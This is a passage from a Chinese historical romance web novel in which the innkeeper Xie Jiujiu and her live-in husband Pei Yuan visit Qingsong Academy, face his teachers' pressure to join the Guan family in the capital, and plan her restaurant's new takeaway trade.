连着吃了好一阵,不说裴元和春儿,就连关氏身边的丫鬟和唐寡妇都说不能再这么吃了,再吃都该积食了。 拿手艺把关令仪哄得顺顺的谢九九,见火候差不多了也不再一个劲的投喂。再加之明天就要去书院了,今儿干脆做一顿清淡些的。 白天让丫鬟出去买了好些土鲫鱼和一个老大的白萝卜回来,晚上就做了一道萝卜丝煮鲫鱼。再从厨房的坛子里夹些酱黄瓜和糖蒜出来,就够了。 鲫鱼先用猪油煎,把鱼皮煎得两面金黄,再放水去煮。等把鱼汤煮得奶白了,连鱼皮都煮出虎皮状了,再把切得细细的萝卜丝放下去。 萝卜丝放下去得煮透,鱼汤的鲜香和鱼肉的嫩搭配萝卜丝微微的清甜,大夏天的个个都吃得满头汗,都停不下来。 最后剩下半锅子汤拌清水面,一人吃上小半碗就饱饱的了。 吃过了饭,谢九九跟关氏说两人明天要去青松书院。 这段时间对关氏来说尤为重要,她嘴上虽没有说过什么,但她明显非常依赖裴元,连带自己这个本不满意的儿媳妇,也一句不好听的话都没说过。 这会儿听谢九九说两人明天要去书院,下意识就皱了皱眉头。但多余的什么都没说,只起身回房取了两套一看就不便宜的文房四宝和一个玉石小摆件出来。 “笔墨给山长和崔先生,摆件给李院监,还有几个先生你让九九看着安排。” 关氏平日是不怎么出门,人情往来交际她又不是不懂。 两套文房四宝加起来至少三十两,那个玉石摆件可能便宜些,不过胜在样式别致,李院监喜欢摆弄石头整个府城都出了名,送这个再没有错的。 “娘放心,从家里来的时候就预备了要去书院看先生的孝敬,不会出错的。” 谢九九其实也准备了文房四宝,还是紧贵的买的。毕竟她来的时候就想着往青松书院走一趟,替文济探一探路,要是能行她还是想要把谢文济给送过来安心读几年书。 不过自己准备的东西光顾着贵了,看着是不如关氏准备的雅致。这种从骨子里生来就会的本事,会就是会不会就是不会,想要学且难着呢。 谢九九笑着从关氏手里把东西接过来,就不打算把自己买的那个往出拿了。以后留着给裴元和文济用呗,他们嫌俗也没法子,银子花都花了不能浪费! 谢九九想到这儿就忍不住冲裴元使了个眼色,不用她说裴元就知道她心里想的什么,也偷偷冲谢九九递了个眼神。 之前买那文房四宝的时候裴元就拦了,东西是真贵,也是真花里胡哨,连狼毫笔的笔杆上都有洒金,就是生怕别人不知道这笔贵。 谢九九看他那样儿,就知道他是嫌自己俗气了。可送礼这东西想要送到人家心坎上多难,退而求其次,让人家知道自己用心了,就算不喜欢人家也认这份情,也就行了。 年轻的夫妻坐在一起,眼波流转间那小动作,只有他们俩觉得自己特别克制特别隐蔽,其实落在大人眼里,都有些腻歪得不像话了。 不愿碍着儿子跟媳妇亲近,关氏起身只说乏了,就先起身入了里间。 “娘子,您放心吧。我前天就出去打听过了,送去京城的信走的是官道,顺利的话来回一趟用不了太长时间。说不定少爷从书院回来,京城的信也能到了。” “京城的信来不来,早一天来晚一天来,有什么不一样,不都这么多年了。” 小院子不大,关氏听见儿子带着谢九九回了东厢房关门的动静,才长长叹出一口气,“我是害怕,元哥儿不想跟关家扯上关系。” 自己的儿子自己了解,别看他那天当着关家和裴老三的面据理力争,可字字句句说的都是自己,没有半个字提及他。 不管京城那边什么态度,这个小院以后自己是肯定不会再继续住下去。到时候回了京城儿子却留在容县给谢家当上门女婿,关氏如何能愿意。 “这些天我看娘子和少奶奶说得来,还以为您……” “说得来,是因为这个姑娘是个好姑娘。她比我强,家里那么个光景她也能想法子撑过来。 可她把心眼打到我儿子身上了,即便是元哥儿自愿的,你说我这个当娘的要是心里一点不高兴都没有,那也太没心没肺了。” 正是这般矛盾,这几天两人相处得再好也像是隔了一层纱,旁人看着婆媳二人说得热热闹闹,其实双方都拿捏着劲儿,敏感一点儿的话题谁都不敢碰。 关氏对自己客气但不亲近,谢九九当然心知肚明。 跟着裴元回到厢房她压根没再提这茬,而是催促裴元,让他趁着两人去书院这几天叫曹勇回 家一趟,替他收拾些行李带过来。 “书院的院监送了信来,这几天好些人家托家里女眷的名义送帖子来。 娘现在身份还有些不知该怎么说,人家就把帖子下给我,什么经历大人的母亲七十大寿,请我过去吃酒。你说说那是什么人家,我又是什么人家,人家哪能来请我呢。” 帖子送过来没避着谁,想来关家那两个管事肯定能知道这消息。人家天天过来给关氏这个姑小姐请安,也没表露出对这事有什么不高兴。 光是看他俩的态度,谢九九就知道京城那边十有八九是要把关氏接回去的。 现在不确定的只不过是,关家愿不愿意以光明正大的形式把关氏接走,接回京城了是以姑小姐的名义住回关家,还是在京城买个宅子让关氏另立门户。 但不管怎么样,裴元这个儿子是非得跟着往京城去一趟的了。 “到时候真的要去京城,我肯定早去早回。” “你别胡思乱想,你就想着明年考试我是不是怎么都得回来。我是祖父这一支的嗣孙,户籍都在容县,我能跑哪儿去。” 裴元当然知道谢九九心里担心什么,到手的上门女婿别再一去了京城就不回来了。 他自己真没想过要跟着关氏一起去投奔关家,当年自己过继出去是为了要一个清白的出身下场考试,之后又自己做主入赘到了谢家。 现在半路又蹦出来个关家,怎么着?瞧着哪家的枝头高就奔着哪家去,自己就真成了三姓家奴了。 “我没想。”因着明天要去书院,两人难得没耍花腔,洗漱之后便安心躺下。谢九九侧身朝里躺着,目光盯着架子床里侧的花纹,看得认真出神。 “裴远舟,有些事我不是不信你,而是我连我自己都不信。” 别说京城的繁华迷人眼,就连自己这些天待在府城,都打心眼里觉着府城真是比县城好,要是有朝一日自己能把云客来开到府城来,亦或是自己能来府城再弄个饭庄就好了。 “你看看我这心思,云客来的生意还在那边半死不活的维持着,心里头就生了这样的野望。说不定你让我去一趟京城,我也不愿意回来。” 考试不考试的,都不是多为难的事情。或是到时候关家出面,把裴元和关氏的户籍一起挪走,或是等到了要考试的时候临时回来,只有要有银子有人脉,怎么不行呢? “我信你此刻的真心,也怕你真心易变。”堵在心里的话一旦开了头就藏不住了,谢九九翻过身来定定的看着裴元,“我不强留你。” “半年,你娘年纪大了路上赶路走不快,到了京城或许有名师要去拜访,没有名师京城繁华你也该多看看,我给你半年,只要你能赶在半年内回来我自然信你。你要是不回来……” “走之前,先带我去书院。要是书院我看着好,你出面帮我说说情让山长收下文济。就当是不枉你我成亲一场,到时候你要是不回来,我不去找你。” 青松书院收学生有门槛,就自家老二那学问要是靠他自己,再考三年恐怕都考不进来。现在只能靠裴元,看看能不能想想法子走个后门,哪怕旁听呢。 “听说大书院都有旁听生,每年的束脩比考进去的学生交得多,多多少你知不知道,我们认交行不行啊。” 刚刚还泪光潋滟看着自己,说要是不回来就不去找自己的人,下一句话又扯到小舅子身上去,气得裴元肝都疼。 到了嘴边的保证活生生给咽了回去,没好气的把人一把揽进怀里,有些发狠的紧了紧怀里的谢九九,“睡觉!” 转过天来一大早裴元和谢九九就出发了,书院在城外的山上,出了城一路的好景致,到了山脚下更是一大片已经成熟了的稻谷田。 “山脚下的田大部分都归书院,书院的佃农比给别的富户干活轻松,每年书院收四成租子,田里其他东西都归佃农,书院里不要。” 水稻田里可以养鱼,稻谷田里养出来的鲫鱼和草鱼肉质更鲜甜,还有一股淡淡的稻花香。 每年插秧之后十来天就可以往下放鱼苗,等六月末七月初第一季稻子黄了,就能提前挖开田埂排水,把鱼捞起来,大的卖了小的留着。 等晚稻插下去,鱼沟清理干净,半大不大的鱼又能继续再养几个月。等晚稻成熟把鱼捞起来养在鱼池里,能一直断断续续卖到过年前。 这么养出来的鱼不比在塘里养鱼多,但价钱却能卖得更高。 再加上田里的泥鳅和野生的水鱼,一年到头总还有些额外的收入。实在卖不出去的,书院的斋堂里全都要,总之不会让自己的佃户吃亏。 家里宽裕了,即便是佃户也愿意把儿子往山上的书院里送。只要书读得好的,书院里连束脩都能减免一部分。 时间一长,整个山下的氛围都跟别处的不一样,这个时节还能瞧见好几个书生打扮的年轻人在田里忙活,都是山上的学生请假回来,帮着家里在干活。 马车只能停在山下,谢九九下来跟着裴元一路往山上走,越往上路过的人就基本都是书生文人,还有几个秀才公,在这条去书院的小径上遇见了,也都彬彬有礼得很。 谢九九免不了在心里暗自感慨,怪不得青松书院有名气。这般往来无白丁谈笑有鸿儒的环境,是挺吸引人的。 早晨出门,直至中午才到书院门口。书院矗立在山腰依山而建,山门巍峨气势磅礴。 山门之后又是台阶,台阶两侧就开始有房屋院落,再往上院落被一看就是精心布置过的树木遮了大半,看不清了。 已经到中午了,就不着急进去拜见师长,裴元牵着谢九九走进一个食肆,“我在书院那几年最喜欢的就是这一家,尝尝?” 这食肆是一对夫妻开的,两人只有一个儿子也在书院里读书。他俩就在咱们书院外面弄了这么个小食肆,生意好极了。 夫妻两个看上去年纪不小了,那老板头发都花白了,看着起码得有五十往上。 “食肆的生意可是力气活,这么大年纪了吃得消吗。” 饭菜上来得很快,三菜一汤分量很足。米饭不是很白,胜在软硬适中,四个人一人就收一文钱,米饭能随便吃。 “他们家就准备这几个菜,按着时令来,菜价不贵谁来吃都是这几个菜,一锅炒能出几桌,就还忙得过来。” “之前你说云客来的事,我就想跟你说来着。”裴元说着压低了些声音,“想要云客来跟小食肆那样道道菜都便宜,那肯定不成。 咱们能顺着时令节气出特色菜啊,到时候你就主推这一个菜,把这一个菜的名气推出去,让进云客来的每一桌都要吃这个菜,人气不就来了嘛。” 第34章 第34章规矩是用来干嘛的 一顿饭的功夫,食肆里五张桌子来回来去总共进了七桌食客,有单独一个人来吃的也有几个学生结伴过来的。 桌上的菜真就来回来去这三四样,就连配菜都差不多,切成小丁的酸萝卜,从坛子里拿出来的浸辣椒,配上不那么辣的仔姜和葱段,铁锅烧热大油一过,没什么菜会不好吃。 谢九九看得认真,觉得裴元这法子正经不错,便把已经在心里琢磨好些天的想法也说出来。 她本来是想要借云客来靠着街的那一扇窗户,把窗户打通另做个小门,支两口锅专门做外带的生意。 云客来离码头近,城外码头边上不是没有食肆饭铺,不过都是支个棚子摆两张桌子,卖些茶水和炊饼,面条凉粉这类容易做的东西。 这些吃食,在码头做工的苦力脚力们吃合适,有时候都 不用桌子板凳,蹲在路边三下两下吃完,再跟店家讨一碗水喝了,装粉装面的碗都干净了。 但对于那些跟着船停靠在码头的人,就不怎么合适了。除了一些干饼子,其余那些汤汤水水怎么好带到船上去,就是他们肯带,人家做生意的也不能叫他们连碗都端了走。 “我也不跟街上两家早饭铺子抢生意,他们辰时末就收摊了,咱们店里的两口锅就跟着云客来进客的时辰开张,想来也不会有大意见。” 如今出远门,最容易携带的干粮就是炊饼煎饼,不容易坏又放哪儿都行,即是压扁了压碎了照样能吃。再不然就是各种油炸之物,撒子麻花,炸鱼腌肉。 容县码头上最不缺的就是各种河鲜湖鲜,拿面糊一裹下油锅一炸,炸酥脆了拿油纸包好,夏天存放个三两天没问题,天气要是凉下来,还能存放更久。 云客来家底子比城外那些摊子铺子要足,连包油饼炸货的油纸都是以前谢德昌找了好久,才在两条街之外的杂货铺定下来的。 “陈妈妈可会做糖油团和葱油饼了,外面做的都没有她做得好吃。这一手我也学会了,等回去我让秦娘子也学,她学会了就专门负责卖这个。” “客人的话也不着急,县城里那些老客本就喜欢在云客来点菜带回去吃。码头上的新客,交给何奎去想法子。 我不叫他白忙,油锅里炸的鱼虾必须新鲜,他每天来回给送货赚一份钱,要是有船上的贵客不愿意下船不愿意走这一趟,他给来回的跑腿我还给一分钱。” “要是买得多的,还能送他们两个竹筒,装糗粮炒面岂不正好。” 说起自己这本生意经,谢九九总有说不完的话。裴元耐心听着,时不时还要搭茬问两句,看得路过两人的书生路人们,都忍不住回头再多看一眼。 俊朗的年轻书生带着容貌姣好的妻子进了山门,夏日炎炎,多看两人一眼也觉得养眼得很。 有两个书生连连回头看过裴元和谢九九,下山的脚步都匆忙了几分,恐怕是被两人勾起了心绪,着急下山回家找妻子去。 进了书院,裴元先带着谢九九往李院监住的小院子去。院监负责看管生徒行为执行学规,轻易不离书院。 李院监是带着妻子和书童仆从住在山上,只有过年那段时间,书院里放假了才会回府城的家里去。 李院监住的地方从书院进来没多久往左侧一拐,顺着小径弯弯曲曲走上一小会儿,越过一道溪水小桥,才豁然开朗。 溪水这一边不止有一个小院,院子之间都隔着不近的距离,看上去就是很普通的农家小院。 能在山腰处建起这些看似是农家小屋,其实处处仔细周全的院落,位置跟前面的大小讲堂和斋舍都分隔开,甭管前面的学生怎么闹腾,都扰不着这边的好地方,就足以见青松书院的实力真的很雄厚。 小院不大,勉强算是前后两进。 进门以后绕过影壁便是规规整整的正房带两侧厢房,从正院一侧往后绕便是一排倒座房,可以用来做仓库厨房。先生独自住在山上,或带着妻子一起住都足够了。 李院监是个看上去五十岁上下的清瘦文人,一把美髯修剪得极好,深蓝色的道袍搭配幞头看着简单,衣摆袖口都绣着金线暗纹。 屋子里有一股子淡淡的沉香味道,是谢九九在县城里卖香的铺子里没闻到过的高档味道,真真是一打眼就能看得出这位李院监是个极精致的人。 不过也只能粗粗看一眼,她就是仗着‘让裴元心甘情愿入赘’的名声,人家李院监才客客气气见了一面。 之后还不等谢九九说话,就从后面走出来一个三十岁上下的美妇人,牵着谢九九往旁边厢房里去。 “听说远舟成亲,书院里几个先生和山长都吓了一跳。原想着是有什么不得已的苦衷,今日一见你,就知道再没有什么苦衷不苦衷的,方才见你们并肩而入,真真是好漂亮的一对儿。” 谢九九今日选了一条天水碧纱地绣缠枝玉兰的对襟夏衫,下着一条松花绿的绫裙,行动之间裙摆翻动,裙摆上蝶恋花的纹样和月白绣鞋若隐若现。 发髻梳得端正,因着是要来书院,早晨打开梳妆匣子挑拣半天,也只挑中一支银鎏金的莲蓬簪。 鬓边压着从关氏那里要来的茉莉花,小巧玲珑的耳垂上是简简单单一对珍珠坠子,整个人看上去端的是清新脱俗又容貌出众。 这位李院监家的娘子跟李院监相差起码十多岁,体态丰腴相貌也好,行动之间带着一股子说不出的风流韵态。谢九九只一眼就能断定,这位娘子必定不是院监的原配。 但不是原配不要紧,听她说话就知道跟这个李院监合该是一家子人,一见面就先抑后扬,说得好像对裴元入赘多惊讶多不赞成的,都是为了后面捧着夸谢九九的模样好。 可真要是把她的话全当做夸人的听,那就又太天真了。 人家对裴元入赘的事打心底肯定不乐意有意见,这话就是说给自己这个得了上门女婿的人听,别真把裴元当做没人管的赘婿随意折腾。 “哪有师娘这么夸人的,我都脸红了。” 当着老师长辈的面没必要装稳重老成,谢九九捧着一路走过来热得发红的脸颊非说是害羞,看得赵氏都忍不住捂嘴轻笑。还害羞呢,倒是先擦干净额头上的汗再来说这话。 赵氏确实是李骏的续弦,当年李骏还在京城为官的时候原配就去世了。 赵氏也是官家女,不过家中父亲只是一八品小官。家里唯一拿得出手的便是家中几代人都是京城人士,家里有老宅子,住得也算宽敞。 当年李骏丧妻成了鳏夫,赵氏的爹为了巴结上官,才把女儿嫁给李骏做续弦。 赵氏没得选,幸好李骏这人虽圆滑世故了些,还算是个有能为的人。在京城为官不说飞黄腾达,也算是稳稳当当。 前几年被卷入一场河堤贪腐的案子里,虽脱了一层皮但好歹得了个辞官回乡的结果。当时李骏是求到关家大爷那里才得以保全,这次关家来岳州找人,才会第一时间来找自家老爷。 今天知道裴元要来书院,李骏也提前嘱咐过了。要是他带着妻子一起来,就让赵氏出面给谢九九旁敲侧击一下,不说叫他们夫妻和离,至少别拦了裴元去投奔关家的路。 关家对李骏是有恩在先,现在关家求他帮忙找失散多年的姑小姐,李骏自然尽了全力。这一次也确实全靠他上下打听,才能找着关氏。 谁知找着了,又是这么一个结果。李骏对于裴元入赘到谢家的事,背地里已经叹息过好几次。虽说这事跟自己本没有关系,可总觉得关家托自己办的事没办得完满。 裴元四年前去的容县,李骏五年前来书院任院监,在官场上摸爬滚打几十年的人来管这群学生自然是得心应手。 李骏管学生并不古板,向来只抓出头鸟,抓住了杀鸡给猴看,猴儿们知道他这个院监的底线在哪儿了,只要不过线他并不多管。 而裴元则是那种总喜欢踩在底线上做事的人,规矩在他眼中并不是多么威严不可触碰的东西。他会把规矩摸透了,挑战规矩却又不破坏规矩。 李骏抓过他两次,又拿他没什么法子。自那以后李骏对他就另眼相待,他笃定裴元这个人以后只要能考上,就一定不是池中之物。 谁知这么一个人,居然会不顾世俗的眼光入赘给商户人家。 听说这个消息之后,李骏忍不住连连叹息直拍大腿,自己只想着他不拘泥不迂腐,却忘了这样的人也太容易做出些惊世骇俗的事情来。 这会儿见了裴元,他一再明示暗示不要跟关家闹僵,不要逞一时的意气留在谢家,赘婿自然可以科举入仕,但真得了官身,这一身份到时候可是要拖他后腿的。 要是他愿意的话,他做中人跟关家的两个管事去说,想法子让他跟谢家断了关系,安 心跟着关氏往京城去。 李骏会说这些话裴元半点儿不意外,他连反驳的心思都没有。听了便听了,耐心听李骏把想说的说完,听着书院下课的钟声敲响,才起身准备告辞。 “先生还忙,学生就不多叨扰了。这次上山说不得还要在书院里赖几天,明日再来先生这里请教功课。” “你……” “先生的心意学生明白了,多谢先生教诲。” “走吧走吧,还要去山长那里,我就不多留你了。” 这态度李骏无能为力,他与关家相识多年,关家六爷是个出了名的暴脾气。就裴元要求严管事送回京城的信里不客气的劲儿,那位爷说不定得亲自带人冲到岳州来。 第35章 第35章我要回家 李院监毕竟是裴元的老师,又跟关家有交情,劝说裴元主动去投奔关家的话说得也很直接。 倒是赵氏这边,可能她也是女子的缘故,跟谢九九说的话大多都是后宅之事,要是心思单纯些的人恐怕都听不明白她为什么说这些。 “以前跟老爷住在京城时,天天一睁眼就都是事。 府里的琐碎外面的人情往来,谁家娶了媳妇谁家添了儿子,有几次别人家得了个妾室,都要下帖子来请。那个絮烦的劲儿啊,我都不知道从何说起。” “师娘说得是,前几年我家里守孝,好些人情往来人家不请家里也就不去。现在孝期过了我又成亲了,街坊四邻亲戚朋友有什么事都不能落下。 还是师娘的日子过得自在,书院里闲人俗人等闲都进不来,不知要少操多少心。” “不怕师娘笑话,这些日子跟着远舟住在府城,还有请客的消息被人捎带到府城来,说是我三叔家添了长孙,让我得空千万回去吃满月酒。” 赵氏张嘴就说起在京城住着不容易,好像是在替谢九九这个小地方的姑娘着想,她真去了京城也摆布不平,倒不如赶紧放手还了裴元自由,让他自去奔他的前程才是对的。 谢九九则不硬不软的顶了回去,这赵氏是官太太和院监夫人做得太久了,还以为这天下只有她们这些尊贵的夫人太太们才是人,才有闲情逸致来往来交际,才配今日你请客明日我请客,花团锦簇的好日子。 殊不知人活在世上,都是一样的。 只不过她赵氏送人情送一批锦缎,自己送礼则送几包点心一块细棉布。家里条件再差一些的,送上红封包的几个铜子或是一方手帕,那也是一份人情。 官宦人家看不上又如何,这些收下的礼照样要一点不落的记下来,等日后别人家有什么事了得还礼。 要是不还或是漏了,官宦人家或是还穷讲究个脸面,小门小户的才不管那些,只当你这一家子不会做人,等日后你家有事只看还有没有人来。 前天来府城送消息的正是谢天佑家,别看两家为了云客来之前闹成那样。 当年谢德昌去世,谢文济一家子都来了,抬棺材上山埋的时候他家的儿郎都出了力。不管后来两家闹成什么样子,现在人家得了孙子,谢九九说什么都得去。 这赵氏站得太高了,看不见底下人一日三餐烟火红尘里的日子也不算什么错, 只不过眼下两人压根不是一路人,赵氏想用那些虚无缥缈的东西吓退谢九九,这个打算成不了。 谢九九的话赵氏如何听不懂,不就是在说自己不食人间烟火。本还想说些什么,被谢九九这么不软不硬的一顶,就不好再说了。 嘴角扯了扯,露出一个说不上是笑还是不笑的笑模样,赵氏颇有些生硬的拿过谢九九送的胭脂膏,“你可算是说对了,住在这书院里啊是自在,却也是真清净。” 清净得连胭脂膏子都许久没买了,倒不是李骏不给银子,只不过自己到底是做师娘的人,这后面再是跟前头分开了,也免不了碰上学生。 当师娘跟当李夫人不一样,自己衣箱里压了不知多少好料子做的衣裳不敢穿,天天就这么几件颜色花样老成的来回换着,胭脂口脂更是早不用了。 “师娘说的这个我真明白,师娘是嫌书院太清净,我却是嫌我家那铺子里太热闹,每日人来人往的没个消停的时候。” “人多了,难免就要多顾忌些。我去铺子里的时候连今日这根簪子都不敢戴,只有远舟成亲之前送给我的木簪天天戴着,人家才觉得我一个妇道人家在外面抛头露面不是错。” “不过这胭脂也不是全无用处。”谢九九笑着凑近了赵氏,悄悄在她身边耳语两句。 听得赵氏面色涨红这才坐直了身子,重新摆出一副自己什么都没说的样子,彷如方才刚进厢房时那般天真娇憨、刚成亲的小妇人。 看着这样一个谢九九,赵氏就知道自己是劝不动的了。这么泼辣又胆大的妇人,光靠嘴上功夫想要吓退他,李骏这算盘打得太好了。 劝不动那就不劝,两个女人坐在一起,说衣裳说首饰,说京城的繁华说县城的饭庄,甚至连沈霁在鹿鸣村做个私塾先生都能聊,何苦再讨人的不高兴。 等到裴元来厢房这边接人,见两人相谈甚欢心里也不惊讶。谢九九什么人精,一个赵师娘要是还摆布不了,那才真是真出了鬼了。 “怎么样?没难为你吧。” “是个特别知晓分寸的夫人,见我死咬着你不愿松口她就不劝了。怪不得这位李院监能当这么大个书院的院监,怪不得都住到书院里了,都还要带着他夫人一起住,这两人可真是相配。” 两人都是软硬兼施,先把事实摆出来说明白,再苦口婆心的劝。 见劝不动就立马掉头不说了,如此这般既不得罪人,人家还要记他们的好,毕竟他们的心是为裴元好,要不然何必又是送帖子又是把人叫回书院来劝。 “你就是促狭,是想说他俩也是大俗人,像是衙门里的老爷不像书院里的先生,对吧。” “这话都是你说的,我可没说。” 两人一边往山长住的小院那边走一边低声说话,谢九九摇摇头,“管学生就得李院监这样的人,知道怎么管学生才能叫人怕,还能不得罪人,多有本事。” 就像当着塾长的幺叔爷和只做私塾先生沈霁,道理都是一样的。 “人家可是劝我抛下你不要,跟着关家去京城,你还说人家有本事。” “劝你去关家,又让他妻子来劝我放手,完了你和我还都和和气气的从他们那小院子出来了,这还不厉害啊。” 这话说得多少就有些阴阳怪气了,在里面还一口一个师娘的,这会儿都成了‘他妻子’,裴元侧头去看谢九九脸上藏不住的不忿,还想再说些什么,却又被后头传来的咳嗽声给打断了。 后面来人正是山长,刚从前面大讲堂下课回来。 书院里的讲堂分大小,学生也分了甲乙快慢。已经有了秀才功名的进生员班,还在准备童子试的学生进童生班。 之后生员和童生班里再按照成绩分天地玄黄,入的班不一样学的东西也不一样。 天子班基本全都是来年就要下场考试的学子,而玄黄二班里的,大多都是先读着,读到哪天先生说可以下场试一试了,才会去考试。 除此之外,还有一月三次大讲堂里的课。授课的先生是山长和副山长,在书院上课的学生谁都能去听,去的早的坐前面起得晚的站后面。 一节课下来能听懂多少又能记住多少,全凭学生自己。 一个山长一个院监,一雅一俗,一个在仕林中名声颇大桃李满天下,一个大半生在官场营营役役不知经历过多少风雨。 两人对裴元的态度和 看法或许有差别,但对于裴元入赘到谢家的事,都是满心满眼的不赞同。 不过老先生跟李院监走的路子不一样,进了他的小院,谢九九也没有被老头儿支开,而是两人一起端坐着听了好一通玄而又玄的话。 听到最后谢九九真的眼皮直打架,就差坐不住一头栽到裴元身上,山长才摆摆衣袖放二人出来。 “山长跟你我说了那么多无为而治、自在清净、上善若水的,到底是什么意思啊。” 整个下午就拜见了李院监和山长,这会儿两人往客院走,谢九九忍不住问,“他是老师是长辈,他要是直接说我也不能摆脸色不是。” 说了这么多,不就是想说裴元选择入赘是没顺应自然,拦着关家把关氏带走是没了人伦,反正话说得挺好听,意思就这么个意思。 “你以为人人都跟你一样,非要把话说得这么明明白白了。山长的话再绕,你我听懂不就行了。” 山长是个讲究雅致的小老头儿,即便不同意也不会直喇喇的说出来。人家要的是闻弦知雅意,什么事情说的太直白反而不美。 也正因如此,听了山长的教训裴元也半点要改的意思都没有。当学生的哪有那么听话的,师长跟前乖乖听着便是,回过头事情该怎么办,还得靠自己。 裴元的态度摆在这里,次日他再去找山长问不懂的功课,找李院监说谢家儿郎想要来书院读书的事,两人就都明白裴元的回答,也再不多言什么。 路是自己走的,脚上磨出来的血泡再疼也得他自己忍着,旁人多说无益。倒是谢文济的文章被李院监看过,便点头答应让他来书院旁听。 先跟着童生班黄班的学生旁听半年,半年以后再考试,考试完了定去留。 跟着裴元在书院里住了三日,下山回城的路上谢九九一再犹豫,话到了嘴边好几次又咽回去,直到马车都进城了,谢九九这才歪过身子一把箍住裴元。 “大热的天这是做什么,听话些,回家了再做?” “去你的,做什么啊就做,这大白天的。” 在书院里两人再离经叛道也不好做那等事,裴元此刻只觉得谢九九贴在自己身侧,明明什么都没干,他都有些莫名其妙的口干舌燥。 “我是要跟你说个事。” “什么事?” 无事献殷勤非奸即盗,裴元有些警惕的看着几乎整个人都要挂到自己身上谢九九,剑眉高高扬起几乎要从眉骨上挑飞出去。 “哎呀,我能跟你说什么事,还不都是家里的事儿。” “那你先说说看。” 在一起的时间越久,越能摸准谢九九的脉。别看她这会儿嘴上说得轻松,说出来的话肯定要戳人肺管子。 果然,谢九九一再强调没什么事的‘小事’,居然是打算扔了裴元一人在府城她先回家去。 府城的事说来也料理得差不多了,跟关氏的关系说不上好但也绝不算坏。 等关家人来了以后裴元跟不跟关家人去京城,是继续当谢家的女婿还是去当关家的表少爷,这事只在乎裴元愿不愿意,关氏不会也没有能力左右她儿子的决定。 那自己老待在府城做什么,家里还一堆的事儿呢。 第36章 第36章没良心的 “你是说你先回去把文济送来?” “文济都十三了,我看书院里十二三的儿郎多的是,不用我再送一趟吧。” 县城天天都有往府城来的马车商队,文济要去书院读书,带的一应行李包袱多些,顶多给他单独租上一辆马车,实在不放心就让何奎再多跑一趟,耽误不了两天。 “谢九九!”成亲这么久,裴元第一次动了真火。他有些不可置信的看着自己的妻子,“你、你你,你就这么把我扔在府城了?” “话别说得这么难听啊。什么扔不扔的,这不是家里有正事嘛。” “你说要是娘这边不用等京城的信,那我是不是就可以把你带回去了。 我也不想一个人回去啊,咱们出门的时候我娘还千叮万嘱的,生怕我把人弄丢了。现在我一个回县城,还不知道要怎么解释呢。” “再说,这三天在书院我见你读书落笔都比在家中更快更好,你留在府城还能来书院多跟先生请教,娘那边有事差遣个人来山上送消息便是,是不是比你跟我回去要方便。” “哼!” 裴元脸色依旧不好看,冷冷哼了一声也不知道谢九九这狡辩的话他听进去了几分。“不想一个人回去就不回去,多留几天怎么了。” 多留几天耽误赚钱啊!!! 这几天在书院里,裴元除了去山长和几个先生处请教问题,其余大部分时候都在跟昔日同窗们交际往来,客院里再是留下来的家眷少,但多少还是有。 裴元出门会友,谢九九也认识了几个秀才娘子。谢九九怎么说都是当了云客来掌柜的人,怎么捧着人说话她多懂啊,没两天就从那几个秀才娘子口中,套出不少话来。 别的都还好,只供养一个读书人到底有多花钱,她听着手心都直冒汗。 以前以为的那些笔墨纸砚书本束脩,考试的路费和各项杂费全是最基本的,都不值当拿出来来说,大头的花费全在看不见的地方。 县试之前要找五名本县廪生作保,这五个人要不要提前结交,就算自家有大舅在衙门里的关系不难找这五个人,可除了结保银子以外,还得请人吃顿饭送点东西吧。 要是能考中秀才,平日里跟同窗同科之间的往来交际,参加同县举人办的文会诗会,不说次次都去,五次里总要去上一两回吧。 裴元跟这些人有了往来,自己跟他们的家眷就也有了关系,婚丧嫁娶这些人情往来难道都不去?不可能的。 要不然等有事的时候人家什么都不跟你说,错过了什么都不知道。 再加上逢年过节给老师们县衙的老爷们的孝敬,每次在家算的时候都算得好好的,等真花销起来就知道了,花出去的钱只有多没有少的。 云客来现在一年才赚多少,够不够裴元和谢文济读书用的? 家里还有这么几口人要吃饭,娘的年纪渐渐大了,说不得有个三病两痛花钱的地方就更多了。 还有芝娘,自己的婚事定得急办得也着急,很多地方能带得过的就带过去了。以后芝娘嫁人肯定不能这样,就算她十八岁出门子,那是不是十六岁就得把亲事定下来。 十六岁定下来,提前两年相看也不算太着急了,芝娘的嫁妆也要准备。 家中大姐留在家里招了女婿,老二是儿子,家里的田产家业自然少不了他的。轮到芝娘这个小的,不说给得多么丰厚却也着实不能少了。 还有自己,家里人人都要花钱难道自己就不要了? 一年四季每季做两套新衣裳不算多过分事情吧,胭脂水粉香丸首饰,以前做姑娘的时候都有,不能说成了亲招了女婿反而用不上了吧。 再有零嘴,家里和云客来做得再好吃,那也不能只吃家里的,是不是总也要花钱买些外面的东西。 谢九九掰着指头一条一条给裴元算,“你就说家里哪一件事不要花钱,人家关家在京城当大官,我这已经处处都比不过了。 要再不多赚些银子,你就是留下来人家是不是也得背地里说你蠢,不知道选高枝儿去攀。是不是还要说我奸,明知道给不了你好的,还要强留着你。” “谁说你比不过,我要你比什么了吗。” 本来这话说出来是为了哄裴元点头让自己回去,却不想反而把人给惹毛了。 他有些控诉地看向谢九九,想发脾气又觉得落了下乘。人家跟自己讲道理讲得理直气壮,好似那天夜里背对着自己说那番刨心肝话的人压根不是她。 “你就不怕你不在,我到时候真的被人哄骗去了京城就再也不回来了。” “我在,他们真要哄你我也不能拿绳拴着你啊。” “谢九九!!!” “在呢在呢,别喊啊,车外面还有人呢。” 裴元被谢九九气得心尖尖都疼,活像是一拳打在棉花上,自己手疼得发麻她什么事没有。 “你真不能跟我一起回去,老二过来什么都不懂,不得你这个当姐夫的送他去书院,那么多先生还有院监 你好歹带着他都去见一见。” “不说要人家多照顾老二,好歹别让人欺负他,是不是。” 是什么是?哦,把我扔府城不管你自己回去了,再把小舅子给弄来,还说得好像没自己带谢文济去书院就不行了一样。 可明知道她是在糊弄自己,裴元心里却还是被她糊弄住了。 马车停在小院门口,夫妻二人从车上下来,裴元的脸色不大好看,却也主动往关氏屋子里去,把谢九九要先回容县的事给说了。 谢九九说要走,就是真的要走。尽管裴元尽量收敛了心里的不痛快,可第二天站在小院门口,脸上还是带出几分不乐意来。 “这幅样子做什么,过几天文济就要来了,你别冲他也拉着个脸。” “我只对你这样,你别拿文济来挤兑我。” “行了,昨晚上不是都说好了,要是京城来人来信了,你找人往家里去我马上就来。这还不行?” “从府城到县城大半日,从县城到府城又是大半日。” “加起来便是两日不到,快得很!” 裴元这厮精明得很,故意当着关氏的面摆出这幅不情愿的样子。要是在依着他的继续掰扯,说不定就真走不了了。 